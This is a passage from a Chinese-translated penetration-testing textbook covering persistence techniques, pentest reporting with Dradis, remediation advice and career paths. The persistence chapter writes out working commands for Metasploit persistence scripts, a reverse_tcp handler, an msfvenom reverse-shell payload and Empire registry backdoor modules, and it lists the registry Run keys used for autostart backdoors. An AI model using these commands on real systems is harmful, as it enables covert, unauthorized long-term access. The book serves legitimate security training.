渗透测试学习指南(三)
原文:
annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9译者:飞龙
第十二章:在环境中保持控制
一旦你进入了目标环境,你需要考虑如何维持访问,以便能够返回。在现实世界的攻击中,攻击者会创建多个后门或命令和控制(C2)通道,以便轻松地重新进入受损环境。在渗透测试中,你也会这样做。
在本章中,你将了解到维持访问是保持对目标系统控制的重要步骤,因为你可能使用的利用可能会被修补,最终移除你的临时远程访问。你将学习可以使用的各种技术和工具,并能够熟练地使用本章描述的工具来创建对目标系统的持久访问。
随着你在本章的学习过程中,你将了解以下主题:
-
维持访问的重要性
-
用于维持访问的技术
-
使用持久性工具
技术要求
本章需要以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 3
维持访问的重要性
在第十章中,横向移动和提升特权,我们进行了后期利用,并获得了对受损主机的访问权限,最终拥有了该域。如果我们利用的漏洞被修补,或者 IT 人员发现已经受到了侵害并采取了措施来弥补漏洞,最终移除了我们的访问权限,会发生什么?我们需要一种方法重新进入目标网络或系统。当然,我们可以尝试其他利用或甚至从社会工程攻击开始,但这需要时间,让我们退了好几步。这就是维持访问的重要性所在。一旦你侵入了初始系统,维持访问应该是首要任务。目标是在目标内获得持久存在,以实现深度访问的目标。
在现实世界中,有一个术语用来定义攻击者通常在被发现之前在系统中停留数月的情况。他们被称为高级持续威胁(APT)。APT 可以是攻击活动、一组入侵者,甚至是国家行为者,他们的目标是窃取数据、侵犯敏感数据或破坏关键基础设施。
国家行为者是为政府或国家工作的黑客,旨在破坏或侵犯其他政府或大型组织。他们的目标是获取高价值的数据和情报。朝鲜的"千里马"就是一个国家行为者的例子。
在渗透测试中,你不会专注于高级持续威胁的非道德目标;相反,你会专注于获得这些复杂攻击能够实现的持久性水平。
用于维持访问的技术
当你最初侵入目标系统时,你拥有临时访问权限。一旦系统重新启动,该访问权限就会终止。有许多技术可以用来维持访问。这些技术涵盖了从工具和恶意软件到使用内置系统工具。让我们考虑一些可以利用的各种技术。
后门
后门可以轻松地重新进入受损系统。特洛伊木马可以用于建立后门。特洛伊木马是一种伪装成合法软件的恶意软件,其目标是释放恶意载荷,以实现对系统的远程访问。特洛伊木马能够使用特权访问安装自己作为服务,例如本地系统。特洛伊木马也可以用于数据外泄。
使用特洛伊木马的问题在于它可能会被杀毒技术检测到。正如我们在第十一章中所强调的,杀毒软件规避,杀毒软件已经发展并具有复杂的检测能力。
C2
C2 服务器用于与受损主机保持通信。这种通信可以从简单的心跳到完全成熟的使用目标系统作为机器人的命令传播。由于这种通信是从受损主机向 C2 服务器发起的,如果您使用已知开放的端口,如 HTTP/HTTPS,检测风险较小。
Linux cron 作业
在 Linux 系统上,您可以自动启动任务。Cron是调度程序,可用于在特定时间运行特定命令。这些定期任务称为cron 作业。在操作系统中,这些 cron 作业通常用于执行诸如备份、删除日志文件和监视等任务。
您可以利用 cron 作业来运行您可能使用诸如 Metasploit 之类的工具生成的有效负载。一个更简单的任务可以是使用 cron 作业创建一个 netcat 会话,该会话将连接回您。
利用现有资源生存
利用现有操作系统工具执行任务是“利用现有资源生存”。例如,您可以使用 PowerShell 执行多项任务,从侦察到维护后门。注册表是建立持久性访问的好方法。利用注册表可以执行批处理文件和可执行文件,甚至使用 DLL 中的函数。
专注于注册表,了解HKEY_LOCAL_MACHINE(HKLM)和HKEY_CURRENT_USER(HKCU)之间的区别很重要。在HKLM中定义的键在系统启动时运行,而HKCU在用户登录后运行。在这里定义的键是最常见的,并用于注入后门:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
请注意,我们有定义为Run和RunOnce的注册表键。RunOnce键在启动或登录时运行一次,然后被删除,而Run键保持不变。
使用持久化工具
现在我们已经介绍了一些用于保持访问的技术,让我们专注于一些可用的工具。我们将首先看一下 Metasploit 框架。我们将介绍的第二个工具是 Empire。
Metasploit 框架
我们在本书中广泛涵盖了 Metasploit,也就是说,在渗透测试的许多阶段中使用了它。在持久性方面,Metasploit 也有模块。
我的目标系统是 Metasploitable 3 虚拟机。我使用了exploit/windows/smb/ms17_010_eternalblue来利用它。
创建了 meterpreter 会话后,您可以使用run persistence命令利用内置的持久性脚本。我们可以在以下截图中看到可用的选项:
图 1:Meterpreter 持久性脚本选项
有一个警告通知我们 Meterpreter 脚本已被弃用,我们应该使用/post/windows/manage/persistence_exe。现在,让我们坚持使用弃用的脚本。
要获得持久性 shell,我们可以使用run persistence -U -i [seconds] -p [port] -r [host]命令。
这个命令让代理在用户登录时启动(-U)。我们以秒为单位定义间隔(-i);我们定义远程端口(-p),然后是要连接回的主机(-r)。一旦脚本运行,我们将看到已设置一个注册表键,并且已使用.vbs文件设置了持久性:
图 2:使用 Meterpreter 脚本设置持久性
安装了持久性脚本后,shell 将在用户每次登录时重新建立。但是,我们还需要做一件事,那就是创建一个处理程序。这个处理程序将监听连接并创建远程会话。
可以使用以下命令设置一个简单的处理程序:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT [PORT]
exploit
请记住,LHOST是持久性脚本中使用的相同 IP 地址,LPORT也是在该脚本中定义的相同端口。一旦执行了这些命令,反向处理程序就会启动:
图 3:在 Metasploit 中创建处理程序
现在,你已经为远程 shell 连接做好了一切准备,即使目标系统已经重启。你可以通过重新启动 Metasploitable 3 虚拟机来测试这一点。一旦机器启动并有用户登录,meterpreter 会话将建立连接。
让我们看一下 meterpreter 之前提到的推荐的后置模块。为了使用/post/windows/manage/persistence_exe,你需要创建一个有效载荷。我使用 MSFvenom 创建了一个简单的有效载荷。
在上面的屏幕截图中,用于创建在之前屏幕截图中看到的payload.exe文件的命令是msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=1338 -f exe -o /root/Desktop/payload.exe。请注意端口号——它与我们之前使用的不同。
一旦生成了有效载荷,你可以在 Meterpreter 会话中使用以下命令:
run post/windows/manage/persistence_exe REXEPATH=/root/Desktop/payload.exe
REXEPATH用于定义你在 Kali 环境中创建的有效载荷的位置。STARTUP用于定义启动类型(User、System或Service);这将决定使用哪个注册表键。一旦输入了上述命令,Metasploit 将执行持久性攻击,并在注册表中创建一个自动运行,如下面的屏幕截图所示:
图 4:使用恶意有效载荷的持久性
一旦完成这些操作并退出 Meterpreter 会话,创建一个新的处理程序。记得定义一个不同的端口号。
在以下的屏幕截图中,请注意我建立的两个会话:
图 5:使用 Meterpreter 建立会话
通过在目标机器上使用regedit,我们可以验证注册表键是否存在:
图 6:Metasploit 中持久性模块创建的注册表键
Metasploit 框架中的持久性模块非常强大。在真实的渗透测试中,如果你使用 Metasploit 来保持访问,你将利用一个不可检测的有效载荷,因为杀毒软件可能会删除被释放到目标系统磁盘上的有效载荷。
Empire
让我们专注于 Empire 提供的持久性模块。这些模块分为五类:
-
PowerBreach:这些专注于内存驻留后门。它们在重启后不会存在。
-
Userland:这些在重启后仍然存在,但只有在特定用户登录时才有效。这不是一个管理员持久性模块。
-
提升权限:这些允许在管理员上下文中使用持久性。它们在重启后仍然存在。
-
Debugger:这些使用各种工具在 RDP 登录之前实现持久性。例如,你可以利用一个作为
SYSTEM运行的命令提示符 shell,而无需登录到目标机器。 -
Misc:这些是持久性的其他方法,例如,利用 Mimikatz 工具获取机器账户密码。
在下面的屏幕截图中,我有一个针对 Metasploitable 3 虚拟机的活动代理:
图 7:Empire 中的活动代理
使用persistence/userland/registry模块,我们将利用HKCU注册表来在用户上下文中植入一个持久性模块。这个脚本只会在用户登录时运行:
图 8:在用户上下文中使用持久性模块
一旦命令执行,我们将收到一些输出,其中定义了修改的注册表键,并可以将其添加到脚本中。在用户空间模块的情况下,它设置在HKCU:Software\Microsoft\Windows\CurrentVersion\Debug中。
现在,让我们尝试一个提升的持久性模块。我们将使用persistence/elevated/registry模块。这使用HKLM注册表来植入一个脚本,该脚本将在目标系统启动时运行。我们将进一步修改此模块以定义我们自己的注册表位置(使用set RegPath HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run命令)和键(使用set KeyName命令和一些随机字符):
图 9:在提升的系统上下文中使用持久性模块
一旦命令执行,注册表键将被设置,我们将对远程系统有持久的连接。
在目标机器上使用regedit,我们可以验证注册表键是否存在:
图 10:Empire 设置的注册表键
Empire 拥有丰富的持久性模块可供使用。这些模块涵盖了注册表、计划任务等等。在实验室中尝试它们将帮助您充分了解每个模块的工作原理。
摘要
保持访问是渗透测试的重要部分。这可以避免您不得不重新利用目标系统。请记住,您最初可能使用的漏洞可能自您上次使用以来已经修补。因此,您需要另一种访问目标系统的方式,以免找到新的漏洞并浪费时间。
在本章中,您了解了可以用于在目标环境中保持访问的各种技术。您学会了识别 Windows 注册表的特定键以及它们如何用于持久性。最后,您学会了如何使用各种工具来保持对目标系统的访问。
在第十三章中,报告和处理您的发现,我们将讨论如何撰写渗透测试报告以及如何根据这些发现确定和推荐补救措施。
问题
-
为什么需要保持访问?
-
什么是 APT?
-
列举两种可以用于保持访问的技术。
-
“living off the land”是什么意思?
-
HKCU 和 HKLM 之间有什么区别?
第四部分:将所有内容整合起来
在本节中,我们将讨论如何结束渗透测试,并进一步提高您在渗透测试领域的技能。您将了解如何创建渗透测试报告以及应该推荐哪些安全概念,以帮助客户根据渗透测试的结果减少安全风险。您将学习如何通过相关资源获取技能和认证,继续发展您的渗透测试职业。您将了解可以用来进一步提高您技能的易受攻击资源。
本节将涵盖以下章节:
-
第十三章,报告并采取行动
-
第十四章,我接下来该怎么做?
第十三章:报告和对发现的行动
渗透测试报告非常重要,因为它为客户提供了测试的详细结果。在本章中,你将能够了解渗透测试报告的具体内容。你将能够确定报告的受众及其对报告的看法有何不同。你将学会如何使用 Dradis,它可以帮助你跟踪发现、问题和证据,这些都可以用在你的报告中。你将学会推荐什么样的补救工作来帮助客户保护他们的环境。
随着你在本章的学习过程中,你将了解以下主题:
-
渗透测试报告的重要性
-
渗透测试报告的内容是什么?
-
报告撰写工具
-
推荐补救选项
技术要求
本章需要以下技术要求:
- Kali Linux 2019.1
渗透测试报告的重要性
不要低估报告的重要性。渗透测试报告是你讲述在目标组织中导航和发现漏洞的故事的一种方式。它允许你向利益相关者传达重要信息,如高管和 IT 管理团队。这将帮助他们推动补救工作,并为可能需要制定或更新的政策提供高管支持,以解决发现的风险。请记住,在信息安全领域,如果没有高管利益相关者的支持,政策注定会失败。
对于技术团队,报告提供了他们环境有多脆弱的清晰图景。它将为他们提供有关哪些方面容易受攻击、为什么容易受攻击、会影响谁以及漏洞如何被利用的全部技术细节。拥有这些信息将帮助技术团队准备补救工作的路线图,并计划首先解决哪些问题。
不要陷入没有足够时间撰写体面报告的困境——确保你在计划中考虑了报告撰写。
在撰写报告时,不要假设阅读报告的人具有与你相同的技术水平。他们在 IT 领域工作,但他们的兴趣可能与你的迥然不同。学会如何在报告中解释你的发现是一门艺术;随着你在这个领域的成长和经验的积累,你将掌握这门艺术。最终,你希望你的报告能够帮助建立与客户的关系,然后他们会一次又一次地使用你的服务。
渗透测试报告的内容是什么?
一些客户可能会告诉你他们想在报告中看到什么,而有些客户则不会。无论如何,你都应该有一个报告遵循的基本结构。这里将讨论的结构绝不是一个模板;它只是帮助你了解报告中会有什么。如果你在一个联系其他组织进行渗透测试的组织工作,他们可能有自己的模板。如果你作为个人进行渗透测试,你将建立自己的模板。
让我们看看报告可能包含的一些部分。
封面
封面应包含渗透测试公司的名称和标志。客户的名称应显示,以及为渗透测试指定的任何标题。这将在为同一客户执行多次测试时提供清晰的区分。日期应出现在此页面上,以及文档的分类。报告中包含的细节是敏感的,不应该供所有人查看;因此,应使用机密或高度机密等分类。
执行摘要
执行摘要将以高层次传达渗透测试的具体目标和发现。这一部分的受众将是负责战略愿景、安全计划和组织监督的人员。这一部分通常包含我们将在下面描述的子部分。
背景
在这一部分,您需要定义测试的目的。确保您连接了预参与阶段讨论的细节,以便读者能够将风险、对抗措施或测试目标与测试的目标和结果联系起来。
您还可以在这一部分列出在参与过程中可能发生变化的任何目标。
整体态度
在这里,您将说明渗透测试的整体态度。您将说明渗透测试的有效性以及测试期间实现了哪些目标。在这一部分中,您可以说明它对组织的潜在影响。
风险排名
这一部分将定义组织的整体风险排名。您将使用在预参与阶段达成一致的评分机制。
一个例子是损害潜力,可重现性,可利用性,受影响用户和可发现性模型(DREAD)。每个方面可以定义如下:
-
损害潜力:资产受到多大影响?
-
可重现性:攻击有多容易重现?
-
可利用性:资产有多容易被利用?
-
受影响用户:有多少用户受到影响?
-
可发现性:漏洞有多容易被发现?
通过回答这些问题,您将为每个发现的项目分配一个风险评级值。这可以是高,中或低。风险评级值可以是一些简单的数字表示,例如,低=1,中=2,高=3。
将所有值相加将确定风险评级:
| 风险评级 | 结果 |
|---|---|
| 高 | 12-15 |
| 中等 | 8-11 |
| 低 | 5-7 |
使用 DREAD 模型对发现进行评估的一个例子如下:
发现的漏洞:缺乏输入过滤使得可以利用 SQL 注入攻击从 SQL 数据库中提取用户详细信息。
分析 DREAD 模型中项目的评级将确定风险评级:
| 项目 | 评级 |
|---|---|
| 损害潜力 | 3 |
| 可重现性 | 2 |
| 可利用性 | 3 |
| 受影响用户 | 3 |
| 可发现性 | 1 |
一旦将所有值相加,总和为 12,这意味着风险评级很高。
一般发现
在这一部分,您将得到对发现的整体视图。这不会是具体的详细发现,而是发现的统计表现。您可以使用图表或图形来表示已经测试的目标、结果、攻击场景和预参与阶段定义的其他指标。您可以查看使用图表来表示问题的原因,例如,操作系统未加固=35%,等等。
对抗措施的有效性也可以在这里列出。例如,当测试一个已经部署了 Web 应用程序防火墙的 Web 应用程序时,您可以说明五次攻击中有两次被防火墙阻止。
战略路线图
路线图提供了一个优先级排列的补救计划。这些必须与业务目标和影响程度相权衡。理想情况下,这一部分应该与组织定义的目标相匹配。
路线图可以分为短期、中期和长期活动。短期将定义组织在 1-3 个月内可以解决已发现问题的活动。中期可能是 3-6 个月,而长期可能是 6-12 个月。
技术报告
技术报告是您将传达您发现的所有技术细节的地方。这份文件的这一部分将详细描述参与范围。这一部分的受众将是具有深厚技术技能的人员,可能是解决发现问题的人员。
技术报告的第一部分将是介绍部分。这一部分将包括谁参与了渗透测试、联系信息、目标系统或应用程序、目标和范围等主题。
让我们专注于可能包括在技术报告中的主要主题。
使用的工具
在某些情况下,您的客户可能希望重现您进行的测试。为了让他们获得相同的结果,披露您使用的工具以及它们的版本将是有益的。
一个例子如下:
-
测试平台:Kali Linux 2019.1
-
Metasploit Framework v5:渗透测试框架
-
Burp Suite 专业版 v1.7.34:Web 应用测试框架
-
Nmap v7.70:端口扫描和枚举工具
您将继续列出在渗透测试期间使用的所有工具。
信息收集
在这一部分,您将写关于客户可获取多少信息。一定要突出公共和私人信息的范围。如果需要,您可以将这一部分分为两个类别:
-
被动信息收集:这一部分是您将展示在不向目标发送任何数据的情况下收集到的信息量。例如,您可以突出从精心设计的 Google dork、DNS 或公开可访问的文档中获取的任何信息。
-
主动信息收集:在这一部分,您将展示使用端口扫描和其他足迹活动等技术获取了多少信息。这一部分披露了通过直接向资产发送数据获取的数据。
公开可访问的信息对于任何组织来说都应该是一个巨大的关注点,特别是如果在公开可访问的文档中存在可能泄露组织用户名结构的元数据。
漏洞评估和利用
在这一部分,您将定义用于识别漏洞以及漏洞如何被利用的方法。您将包括漏洞的分类、证据以及 CVE 细节等内容。
在披露漏洞时,一定要将它们分为技术漏洞和逻辑漏洞。
技术漏洞是可以通过缺失的补丁、编码错误或注入恶意代码来利用的漏洞,例如,SQL 注入攻击。
逻辑漏洞是通过发现应用程序工作方式的缺陷来利用的,例如,一个未能执行权限检查的 Web 应用程序。
以下是您报告漏洞的一个例子:
-
发现:在这里,您将详细讨论发现。例如:我们发现 Server01(
192.168.10.15)缺少 MS17-010 微软 Windows 补丁,并且该服务器已被手动利用 DoublePulsar。DoublePulsar 为系统创建了一个后门,可以被任何人使用。它为勒索软件(如 WannaCry 和 NotPetya)打开了一扇门,特别是在没有 MS17-010 补丁的系统上。我们能够利用这个缺失的补丁获得对具有完全管理权限的服务器的访问。由于我们可以访问服务器,我们能够使用 Metasploit 的 hashdump 提取本地管理员账户(localadmin)及其密码哈希。 -
受影响的主机:这里是您定义主机或应用程序的全名,例如,
CLIENT\Server01(主机名)。 -
使用的工具:在这里,您将解释您使用的工具,例如,Metasploit Framework v5。
-
证据:这是您提供利用证据的地方。可以是截图或屏幕文本捕获的形式。
-
业务影响:在本节中,您定义了发现的风险是什么。例如,当系统未能及时打补丁时,它们可能会引入风险,这可能会被恶意软件、勒索软件和恶意用户滥用,以获取对敏感信息的访问权限。
-
根本原因:这定义了漏洞的根本原因。这可能是技术性的,比如缺少安全补丁,也可能是与流程相关的。例如,根本原因是与流程相关的,因为存在补丁管理系统。服务器未能及时打补丁。
-
建议:在这里,您将定义应采取的建议行动方案,以纠正这一发现。确保提供尽可能多的细节。例如,短期行动将是更新服务器,以确保其与所有 Microsoft 补丁保持最新。长期行动将是确保每月对整个网络进行漏洞评估,并确保服务器和工作站完全打补丁。管理层还应扫描网络,查找所有手动利用 DoublePulsar 的系统,并将其从网络中移除,因为它们为任何人创建了系统的后门。
在报告中获得正确的细节水平可能有些棘手。如果报告过于详细,一些客户可能会觉得不知所措,而有些客户可能会觉得缺乏细节。确定报告中应包含的正确细节量的最佳方法是花时间与客户一起,了解他们的期望和他们希望从报告中得到什么。
渗透后
一旦讨论了漏洞及其利用,您需要强调对客户的实际影响。请记住,这种影响将是客户在真实世界攻击中所经历的。
在本节中,您可以利用截图详细说明影响的程度。您可以在本节中讨论以下主题:
-
特权升级路径和使用的技术,例如哈希传递攻击,最终伪造黄金票证
-
使用持久性维持访问的能力
-
数据外泄的能力
-
可能使用枢纽点访问的其他系统
本节可以讨论反制措施的有效性,包括积极和消极的反制措施。检测能力也属于本节;例如,杀毒软件能否检测到您的有效载荷?
如果在渗透测试期间触发了任何事件响应活动,这些应该列在本节中。
结论
结论将对渗透测试进行最终概述。在本节中,您可以重申测试的部分内容以及客户如何提升其安全姿态。无论结果有多糟糕,都要以积极的态度结束。这将使您的客户对未来的测试活动有信心。
报告撰写工具
在撰写渗透测试报告时,您可能会想知道如何跟踪发现。也许您更喜欢使用文字处理器的手动方法,或者您可能希望使用更直观的工具。
Kali Linux 包含一个名为 Dradis 的工具,这是一个开源框架,安全专业人员用于有效信息共享。Dradis 有社区版和专业版。Kali Linux 包含社区版。专业版包含一些有趣的功能,如自定义品牌、双因素认证、一键报告以及导出到多种文件类型的能力。然而,社区版包含专业版本具有的核心功能,并允许您以 HTML 或 CSV 格式导出结果。
Dradis 可从应用程序 | 报告工具中访问:
图 1:访问 Dradis
当您第一次运行 Dradis 时,您将被提示创建共享服务器密码和一个新用户帐户。完成后,您将登录到 Dradis 的主要登录页面。
方法论
在 Dradis 中,有一个名为方法论的部分。这是您想要为给定项目执行的任务列表。您可以创建自己的方法论或导入现有的方法论:
图 2:Dradis 的方法论组件
如果您点击“添加新内容”并选择“下载更多”,您将被重定向到一个链接,您可以在那里下载合规包。下载 PTES 技术指南;这将是一个.zip文件,您需要解压缩。文件的内容中将会有一个名为ptes_methodology的文件夹;将这些文件解压缩到/var/lib/dradis/templates/methodologies。文件解压缩后,刷新 Dradis 页面。
现在,您将能够添加各种 PTES 方法论。继续添加它们:
图 3:添加 PTES 方法论
添加完后,注意输出。现在您有了一个可以在 PTES 方法论的不同阶段执行的各种任务的清单。这是确保在执行渗透测试时遵循方法论标准的好方法:
图 4:按照 PTES 方法论的清单
当然,并非所有的渗透测试都会遵循这种方法。随着您执行不同的渗透测试,您将创建针对客户定制的不同方法论。
节点
节点可以类比为文件系统中的文件夹。这是您将存储笔记、附件和证据文件等信息的地方。节点将帮助您构建项目结构。
要创建一个节点,请点击“节点”右侧的加号(+)号。在这里,您将添加一个顶级节点。您可以一次添加一个或全部添加:
图 5:添加多个节点
创建节点结构后,您可以从其他工具上传文件。在这里,您可以从 Nmap 扫描、Nessus、Nikto 等导入文件:
图 6:从其他工具上传文件
在下面的截图中,我上传了一个 Nmap 扫描。Dradis 已经填充了属性和笔记部分以反映扫描结果:
图 7:Nmap 扫描结果导入到 Dradis
当您导入各种工具输出时,Dradis 将利用其规则引擎自动填充数据到节点中。
问题和证据
问题包含有关问题或漏洞的信息。例如,您可以在这里提供描述、CVE、URL 引用等。
证据显示存在问题。例如,您可能会创建一个漏洞利用的证据。
在您创建证据之前,您需要创建一个问题。要创建问题,请点击“问题”右侧的加号(+)号。如果愿意,您可以使用模板,但不是必须的。定义您将展示证据的问题,如下所示:
图 8:创建问题
创建问题后,您可以导航到要记录证据的节点,并点击证据标志。接下来,您将从下拉列表中选择问题,然后编写您的证据:
图 9:创建证据
在节点中,您可以选择上传附件。附件可以是来自目标的截图、报告、文件等。
您可以通过点击项目顶部的“导出结果”链接来探索项目。
在进行渗透测试时,使用 Dradis 可以帮助您跟踪您的发现。方法论可以作为一个很好的提醒,以防您在渗透测试的特定阶段错过了一步。
推荐纠正选项
在渗透测试报告中,您需要提出如何保护所发现的发现的建议。重要的是要了解漏洞如何得到纠正,而不仅仅是知道如何利用它们。
让我们考虑一下本书中进行的一些攻击以及可以推荐的纠正活动。
信息收集
在信息收集阶段,我们看了如何使用公开可访问的来源(OSINT)收集有关我们目标的信息。组织不可避免地会公开发布信息。保护信息免受暴露(例如文档中的元数据)的关键是使用诸如信息保护之类的技术。信息保护保护数据免受未经授权的使用、披露、访问、破坏、中断和修改。信息保护利用了一些技术,如加密、数据分类、策略和流程来保护信息。
保护免受主动信息收集的攻击包括保护不应该打开的端口。还可以使用网络层防御,如交换机上的访问控制列表和防火墙进行过滤。
社会工程
社会工程学可能是攻击者可以利用的最危险的攻击向量之一。成功的社会工程攻击取决于攻击者能够获取的信息量。同样,在渗透测试中,成功的社会工程攻击将取决于您能够获取有关目标组织的信息量。
在保护免受社会工程攻击方面并没有银弹。归根结底,是我们的人性会使我们成为这类攻击的受害者。然而,组织可以采取一些措施,如下所示:
-
教育: 为最终用户提供教育对于任何组织都至关重要。如果用户不知道如何识别社会工程攻击,他们怎么能不成为受害者呢?教育的关键在于让最终用户关心安全。
-
意识: 组织需要意识到公开可获得的信息类型。这种信息是攻击者将首先访问的信息。如果信息披露了太多,以至于可以轻松制定社会工程攻击,那么组织就需要解决这个问题。
-
身份验证: 组织需要考虑多种识别用户的方式。例如,当用户通过自助门户请求重置密码时,应该有某种形式的双因素身份验证。
-
技术: 许多组织正在将他们的电子邮件转移到 Office 365 等云服务。在 Office 365 中,有许多可以启用的安全机制,以防范复杂的网络钓鱼攻击。大多数情况下,组织并不完全了解现有的防御措施,或者他们可能没有正确地调整它们。
社会工程对组织可能非常危险。这完全取决于可以用来攻击组织的信息量。如果社会工程是您渗透测试中的一个攻击向量,请确保披露您可以访问多少信息以成功发动攻击。这将帮助组织了解他们的弱点并加以解决。
漏洞和操作系统加固
软件很难做到没有错误,因此漏洞总是存在的。这在操作系统等大型软件中是显而易见的。操作系统是复杂的,有许多组件共同工作。只需一个组件中的一个缺陷就可以使系统被利用。
通常构建软件的组织遵循软件开发生命周期(SDLC)。这是一个定义了如何开发、维护和替换软件的详细步骤的框架。现在安全已经被纳入软件生命周期,以便构建安全的软件。这大大减少了代码中发现的错误数量,这可能导致漏洞,但这并不能完全消除编码错误的风险。
这就是补丁管理发挥作用的地方。建立一个适当的补丁管理流程,并且遵守这个流程将大大减少组织使用的软件相关的漏洞数量。
操作系统加固是确保不会利用已知易受攻击的不安全协议的另一个好方法。例如,SMBv1 的缺陷是已知的,并且容易被利用。互联网安全中心(CIS)维护着一个很好的基准库,并讨论了如何加固各种系统。CIS 基准可以在这里找到:www.cisecurity.org/cis-benchmarks/。
微软维护适用于其产品套件的安全基线。这些基线在其产品中启用特定的安全功能非常出色。这些基线可以在这里找到:blogs.technet.microsoft.com/secguide/。
密码
基于密码的攻击是仍然在使用的最简单和最古老的攻击形式。今天,组织已经意识到拥有强密码的价值,但问题在于可用性。例如,强制执行 12 位字符的密码很容易,但最终用户会如何反应?很可能他们会使用常见密码,如January@1234,并按月份递增,或者他们会有一个非常安全的密码,最终会把它写下来或存储在某个地方。密码的另一个问题是人们倾向于重复使用它们。他们的域密码可能与在 Facebook 上使用的密码相同。
保护密码需要使用除密码之外的认证方式。多因素认证在当今是必不可少的。利用额外的认证方法,如令牌、短信或电话呼叫,增加了额外的保护层。将多因素认证与密码最佳实践相结合,如强制复杂性、更长的密码长度和强制禁用密码列表,将增加安全性。
网络应用程序
网络应用程序是攻击者的主要目标,因为它们是面向公众的。特别是如果网络应用程序服务器没有从网络层正确分割,它们可以作为进入网络的入口。
开放式网络应用程序安全项目(OWASP)维护着一个名为OWASP 十大的列表。这个十大列表讨论了 10 个最关键的网络应用程序安全风险以及对它们的缓解措施。它详细解释了攻击及其影响,并提供了攻击场景的参考。OWASP 十大可以在这里找到:www.owasp.org/index.php/Category:OWASP_Top_Ten_Project。
寻找网络应用程序攻击预防的另一个好资源是 OWASP 攻击类别,可以在这里找到:www.owasp.org/index.php/Category:Attack。
权限提升和横向移动
横向移动是网络中最常见的攻击之一。螃蟹式地在环境中移动为攻击者提供了一个广阔的领域,可以浏览以检测高特权帐户。
横向移动中最容易使用的帐户之一是本地管理员帐户。通常,该帐户共享相同的名称和密码,这意味着如果您在一台计算机上破坏了它,可以轻松地在另一台计算机上重复使用。纠正这一点将需要在网络中强制执行随机本地管理员帐户密码。在 Windows 环境中,可以使用本地管理员密码解决方案(LAPS)来实现这一点。有关更多信息,请访问:www.microsoft.com/en-us/download/details.aspx?id=46899。
良好的凭证卫生习惯对于防止特权升级至关重要。这意味着不将高特权帐户暴露给较低信任的系统,例如,在工作站上限制使用域管理员帐户。如果工作站受到攻击,域管理员帐户的哈希值可能会被转储,游戏就结束了。在任何环境中,强制执行最小特权原则应该成为一种规范。
总结
在本章中,您已经对渗透测试报告中包含的内容有了很好的理解。您现在有能力创建一个针对高管和技术人员的报告。您已经亲身体验了使用报告工具 Dradis 来记录渗透测试中的发现。您已经深入了解了客户可以部署的各种安全措施,以增强其安全姿态。
在下一章(第十四章*,我接下来该怎么做?*),我们将介绍如何通过查看认证、在线培训资源和练习技能来在渗透测试领域发展您的职业生涯。
问题
-
渗透测试报告的重要性是什么?
-
报告的执行和技术部分有什么区别?
-
有什么工具可以帮助你制作报告?
-
寻找与 Web 应用程序攻击和预防相关信息的好来源是什么?
-
保护免受特权升级和横向移动的影响涉及做什么?
第十四章:我接下来该去哪里?
在书的结尾,我们将看看如何跟上渗透测试领域的最新动态。在任何行业中,建立您的技能和知识都是一个持续的过程。当您投入时间和精力时,您一定会看到您的技能增长的结果。
在本章中,您将了解可以利用哪些资源来扩展您的知识,推动您的职业发展。我们将看看工具包维护的去向。最后,我们将看看可以用来测试您的技能并提供新挑战的各种资源。
在本章中,您将学到以下内容:
-
知识维护
-
工具包维护
-
故意易受攻击的资源
技术要求
本章没有任何技术要求。我们在本章中不进行任何实际操作练习。
知识维护
渗透测试是信息技术领域许多人着迷的话题。体验成为黑客的刺激,知道如何利用机器并控制系统,给个人带来一种权力感。但是,正如我们在本书中所介绍的,渗透测试不仅仅是盲目地攻击系统。渗透测试更加有结构,考虑到业务需求,并且当然为业务提供坚实的结果,以增强他们的安全姿态。
在每个行业中,都有专门从事该领域特定方面的专家。在渗透测试领域也是如此。例如,我们有以下领域可以让渗透测试人员专注:
-
网络渗透测试
-
无线渗透测试
-
Web 应用程序渗透测试
让我们高层次地看一下每个领域。
网络渗透测试
网络渗透测试是最常见的渗透测试方法。对网络进行渗透测试涉及内部和外部网络。其目的是模拟成功的攻击者能够绕过防御措施。它使渗透测试人员能够探索组织的许多方面,为组织的安全姿态提供清晰的图片。一旦渗透测试人员获得对网络的访问权限,许多障碍就被排除了。
网络渗透测试通常包括以下内容:
-
绕过防火墙
-
路由器测试
-
入侵防范系统(IPS)/入侵检测系统(IDS)规避
-
DNS 足迹
-
开放端口扫描和测试
-
SSH 攻击
-
代理服务器
-
网络漏洞
为了在这个特定领域发展您的技能,您需要对防火墙及其工作原理、路由器和各种路由协议有很好的理解,以及它们的运作方式。了解入侵检测/防范设备对于确定如何避免它们至关重要。
对网络有扎实的知识可以真正提升您的渗透测试。
无线渗透测试
无线渗透测试涉及测试企业无线基础设施的漏洞。通常包括以下内容:
-
无线加密协议
-
无线接入点
-
无线网络流量
-
Rogue 接入点
由于无线技术的接近要求,无线测试通常在现场进行。企业无线网络泄露到建筑外部并不罕见,这本身就是一个漏洞。
在这个领域发展你的技能意味着深入了解无线网络的工作原理。我们在本书中涉及了一些概念(如无线帧)。
Web 应用程序渗透测试
Web 应用程序渗透测试关注的是 Web 应用程序中的漏洞或弱点。这个测试的复杂性取决于你正在测试的应用程序。例如,一个简单使用 SQL 的网站可能不像一个使用多个 API、Applets 或 ActiveX 控件的网站那么复杂。在这个测试中,你可以投入大量时间,因为外部面向的 Web 应用程序对业务构成巨大风险。
这个测试通常包括以下内容:
-
SQL 注入
-
跨站脚本
-
